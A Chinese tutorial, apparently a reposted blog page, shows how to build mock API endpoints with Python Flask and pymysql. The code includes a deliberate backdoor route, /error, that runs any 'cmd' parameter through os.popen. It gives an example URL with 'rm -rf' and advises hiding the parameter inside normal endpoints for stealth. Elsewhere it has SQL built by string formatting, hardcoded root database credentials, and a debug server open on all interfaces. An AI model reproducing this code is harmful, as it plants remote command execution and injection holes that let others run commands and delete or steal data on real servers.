python mock支付_python学习开发mock接口

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)

2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)

2.函数前加装饰器@server.route(), 将函数变为一个接口

3.启动服务server:server.run()

import flask,json,pymysql

server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务

def opt_db(sql):

coon=pymysql.connect(

host='192.168.109.132',

user='root',

passwd='123456',

db='besttest',

port=3306,

charset='utf8'

)#建立db链接

cur=coon.cursor()#建立游标

cur.execute(sql);#执行sql

if sql.strip()[:6].upper()=='SELECT':

res=cur.fetchall()#获取sql返回

else:

coon.commit()

res='ok'

cur.close()#关闭游标

coon.close()#关闭db链接

return res

#get请求, 请求路径ip:port/index

@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)

def index():

res={'msg':'这是我开发的第一个接口','msg_code':'0'}

return json.dumps(res,ensure_ascii=False,indent=4)

#post请求, 请求路径ip:port/reg

@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)

def reg():

username=flask.request.values.get('username')#获取接口入参

pwd=flask.request.values.get('passwd')

if username and pwd:

sql='select * from syz_stu where username="%s";'%username

if opt_db(sql):

res={'msg':'用户已存在','msg_code':2001}#2001用户已存在

else:

insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)

opt_db(insert_sql)

res={'msg':'注册成功','msg_code':'0'}

else:

res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填

return json.dumps(res,ensure_ascii=False,indent=4)

#后门接口

@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error

def cmd():

cmd = flask.request.values.get('cmd')#接口的入参

res = os.popen(cmd)#执行用户命令

return res.read()#返回执行结果

#http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件

#隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口

# 默认可以不传,一但传了再res = os.popen(cmd)

server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问

# port=6688指定端口为6688

# debug=True设置代码修改后服务自动重启

# host='0.0.0.0'设置同一局域网的可以访问

# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值